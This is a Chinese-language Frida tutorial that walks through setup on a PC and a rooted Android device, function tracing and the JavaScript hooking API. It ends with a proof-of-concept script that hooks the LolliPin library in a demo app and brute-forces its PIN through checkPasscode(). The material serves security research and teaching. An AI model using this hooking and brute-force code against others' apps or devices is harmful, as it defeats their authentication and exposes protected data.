Frida-跨平臺注入工具基礎篇
0x00 功能介紹
Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.
- Hooking Functions
- Modifying Function Arguments
- Calling Functions
- Sending messages from a target process
- Handling runtime errors from JavaScript
- Receiving messages in a target process
- Blocking receives in the target process
- ....
類似工具:Substrate/Xposed/indroid/adbi.
優勢:結合python和JavaScript開發更快捷.
0x01 Setting up your PC
python環境+setuptools
#!bash
sudo easy_install frida
可選:原始碼編譯
#!bash
$ git clone git://github.com/frida/frida.git
$ cd frida
$ make
0x02 Testing your installation
建立一個程式用於注入:
#!bash
$ cat
新建注入指令碼example.py:
#!python
import frida
session = frida.attach("cat")
print([x.name for x in session.enumerate_modules()])
linux環境下需要執行如下命令:
#!bash
$ sudo sysctl kernel.yama.ptrace_scope=0
用於開啟非子程式的ptracing.
執行frida指令碼,觀察:
#!bash
$ python example.py
輸出結果類似如下,程式碼環境正常安裝成功:
[u'cat', …, u'ld-2.15.so']
0x03 Setting up your Android device
首先下載android版frida-server:
#!bash
$ curl -O http://build.frida.re/frida/android/arm/bin/frida-server
$ chmod +x frida-server
下一步部署到android裝置上:
#!bash
$ adb push frida-server /data/local/tmp/
0x04 Spin up Frida
裝置上執行frida-server:
#!bash
$ adb shell
[email protected]:/ # chmod 700 frida-server
$ adb shell
[email protected]:/ # /data/local/tmp/frida-server -t 0 (注意在root下執行)
電腦上執行adb forward tcp轉發:
#!bash
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
27042埠用於與frida-server通訊,之後的每個埠對應每個注入的程式.
執行如下命令驗證是否成功安裝:
#!bash
$ frida-ps -R
正常情況應該輸出程式列表如下:
PID NAME
1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android
…
0x05 Tracing open() calls in Chrome
裝置上開啟chrome瀏覽器然後在pc執行如下命令:
#!bash
$ frida-trace -R -i open com.android.chrome
Uploading data...
open: Auto-generated handler …/linker/open.js
open: Auto-generated handler …/libc.so/open.js
Started tracing 2 functions.
Press ENTER to stop.
開始使用chrome app然後會發現open()呼叫輸出如下:
1392 ms open()
1403 ms open()
1420 ms open()
現在可以實時編輯的上述JS程式碼來呼叫你的Android應用
0x06 Building your own tools
frida提供的幾個工具frida-trace, frida-repl...絕逼非常有用,建議閱讀Functions 和 Messages章節來了解Frida APIs,
首先,使用frida的API attach上需要注入的app
#!python
session = frida.get_remote_device().attach("com.mahh.secretsafe")
session
物件允許你獲取資訊,同時也可以操作目標程式.比如,可以呼叫enumerate_modules()
方法來獲取程式中載入模組的host資訊.
#!python
>>> print session.enumerate_modules()
[Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="libcutils.so", base_address=0x400b0000, size=36864, path="/system/lib/libcutils.so"), Module(name="liblog.so", base_address=0x400bb000, size=12288, path="/system/lib/liblog.so"), Module(name="libc.so", base_address=0x400c0000, size=53248, path="/system/lib/libc.so"), Module(name="libstdc++.so", base_address=0x4011b000, size=4096, path="/system/lib/libstdc++.so"), Module(name="libm.so", base_address=0x4011e000, size=98304, path="/system/lib/libm.so")
然後使用Javascript API,透過session
的create_script()方法放入JavaScript程式碼塊.JavaScript API可以用來插樁目標app的類.在這個API中有些針對android的例子,下面是一些簡單的案例:
取得一個類的js封裝:
#!python
Dalvik.perform(function () {
var MyClass = Dalvik.use("com.mdsec.MyClass");
});
如果類的構造方法有一個String物件的引數,應該用如下方式建立類的例項:
#!javascript
var MyClass = Dalvik.use("com.mdsec.MyClass");
var MyClassInstance = MyClass.$new(“MySecretString”);
只需要加上對應的引數就可以呼叫剛才新建例項的方法.例如,呼叫MyClass類的MyMethod方法:
#!javascript
var result = MyClassInstance.MyMethod();
如果想替換MyMethod方法的實現來return false,使用如下程式碼:
#!javascript
MyClass.MyMethod.implementation = function()
{
return false;
};
Android Context(上下文)用於獲取對應app相關資訊以及其執行環境.所以其被廣泛用於app中,需要找一種方法來訪問他.獲取Android Context如下程式碼非常有效:
#!javascript
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
var context = currentApplication.getApplicationContext();
接下來需要用到上文中提到的create_script()方法用於註冊這段js程式碼到app session中.
#!python
script = session.create_script(jscode)
為了接收從Python session中JavaScript程式碼返回的資料,還需要註冊一個message handler.註冊一個message handler先要建立方法:
#!python
def on_message(message, data):
print message
然後透過呼叫on()
方法註冊event handler:
#!python
script.on('message', on_message)
可以透過JS方法send()
給message handler傳送訊息.例如,使用如下程式碼講Context物件傳送給Python客戶端:
#!python
Dalvik.perform(function () {
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
var context = currentApplication.getApplicationContext();
send(context);
});
結果會返回app的context物件的地址:
{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}
現在已經掌握frida的基礎知識,現在可以實戰演練如何破解LolliPin鎖屏庫.我們建立一個使用LolliPin
的app截圖如下:
PIN碼生效後,可以使用插樁暴力破擊.要達到這個目的首先要了解pin碼驗證是如何實現的.AppLockImpl類中驗證方法如下:
現在我們們忽略LolliPin的其他漏洞,就搞PIN碼的暴露破解,這是客戶端認證透過都會受到的分析.
可以建立一個AppLockImpl的例項,但是為了節約記憶體我們直接呼叫已有的.分析發現AppLockImpl被呼叫在LockManager的getAppLock()中,這個就僅僅返回了AppLock物件.而AppLock是抽象類AppLockImpl的具現.
LockManager有一個幫助方法用於返回自己的例項.
結合上面的分析,我們們可以透過LockManager.getInstance()得到LockManager的例項,再呼叫getAppLock()得到AppLock.最後就可以呼叫AppLock的 checkPasscode()方法了.
#!javascript
var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();
透過for迴圈呼叫checkPasscode()來達到暴力破解的目的:
#!javascript
for(var i=1230; i<1235; i++)
{
var result = AppLock.checkPasscode(i+"");
send(i + ": " + result);
}
此迴圈將嘗試1230到1235的pin碼(已知PIN為1234...),最後利用空字串將pin碼連線起來做個強制轉換再列印出來.執行指令碼效果如下:
[*] Bruteforcing PIN code
[*] Testing PIN 1230: false
[*] Testing PIN 1231: false
[*] Testing PIN 1232: false
[*] Testing PIN 1233: false
[*] Testing PIN 1234: true
最後完整的frida程式碼塊如下:
#!python
# LolliPin bruteforce proof of concept
# Author: Dominic Chell - @domchell
import frida,sys
def print_result(message):
print "[*] Testing PIN %s" %(message)
def on_message(message, data):
print_result(message['payload'])
jscode = """
Dalvik.perform(function () {
var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager");
var LockManagerInstance = LockManager.getInstance();
var AppLock = LockManagerInstance.getAppLock();
for(var i=1230; i<1235; i++)
{
var result = AppLock.checkPasscode(i+"");
send(i + ": " + result);
}
});
"""
process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe")
session = process.session
script = session.create_script(jscode)
script.on('message', on_message)
print "[*] Bruteforcing PIN code"
script.load()
sys.stdin.read()
0x07 reference
http://www.frida.re/docs/installation/
http://www.frida.re/docs/android/
http://www.frida.re/docs/javascript-api/
http://www.frida.re/docs/functions/
http://www.frida.re/docs/messages/
http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html
相關文章
- .NET跨平臺繪圖基礎庫--SkiaSharp2024-09-28繪圖
- 跨平臺同步筆記工具2021-12-15筆記
- 某行日誌平臺 Elasticsearch 運維基礎篇2024-02-06Elasticsearch運維
- 跨平臺Js bridge新秀-DSBridge IOS篇2019-03-01JSiOS
- 跨平臺ssh客戶端工具Termius2022-07-04客戶端
- .NET Core基礎篇之:依賴注入DependencyInjection2021-11-30依賴注入
- GinAdmin 管理基礎平臺2021-09-11
- 工作流-跨平臺的排程工具2024-07-15
- Flutter 基礎(一)移動開發的跨平臺技術演進2019-06-06Flutter移動開發
- 基於chaosblade的故障注入平臺小試2020-11-24
- rust跨平臺2024-07-11Rust
- 跨平臺程式設計開發工具:Xojo 2023 for Mac2023-11-13程式設計Mac
- SpringBoot基礎篇Bean之條件注入@Condition使用姿勢2018-10-21Spring BootBean
- SpringBoot基礎篇Bean之條件注入之註解使用2018-10-21Spring BootBean
- .NET Core 跨平臺2020-07-12
- 跨平臺編譯2020-07-08編譯
- Java跨平臺原理2024-08-02Java
- JVM跨平臺原理2024-07-25JVM
- WPF跨平臺方案?2023-02-13
- 【Dotnet 工具箱】跨平臺圖表庫 LiveCharts22023-04-13Echarts
- 基礎資料平臺的前世今生2020-11-14
- 微信公眾平臺基礎框架2019-05-11框架
- JAVA的跨平臺原理2018-06-28Java
- onethink支援跨平臺嗎2020-04-04
- MySQL資料庫注入基礎2020-09-27MySql資料庫
- 跨平臺級聯dataguard配置2018-11-01
- 跨平臺技術演進2019-04-01
- Go跨平臺交叉編譯2018-08-07Go編譯
- ComPDFKit: 跨平臺框架PDF SDK2023-11-02框架
- 跨平臺`ChatGpt` 客戶端2023-03-05ChatGPT客戶端
- 跨平臺、跨主機共享鍵鼠方案(KVM)2024-06-20
- 跨平臺開發工具DevExtreme釋出v18.1.3|附下載2018-06-07devREM
- Azure data studio 跨平臺資料庫管理工具試用2021-09-09資料庫
- 分享下最近基於Avalonia UI和MAUI寫跨平臺時間管理工具的體驗2024-06-03UI
- 【小哥哥, 跨域要不要了解下】CORS 基礎篇2018-12-07跨域CORS
- 打造跨平臺.NET Core後臺服務2020-10-28
- Python基礎篇-Python基礎012024-04-07Python
- DKhadoop大資料平臺基礎框架方案概述2018-10-31Hadoop大資料框架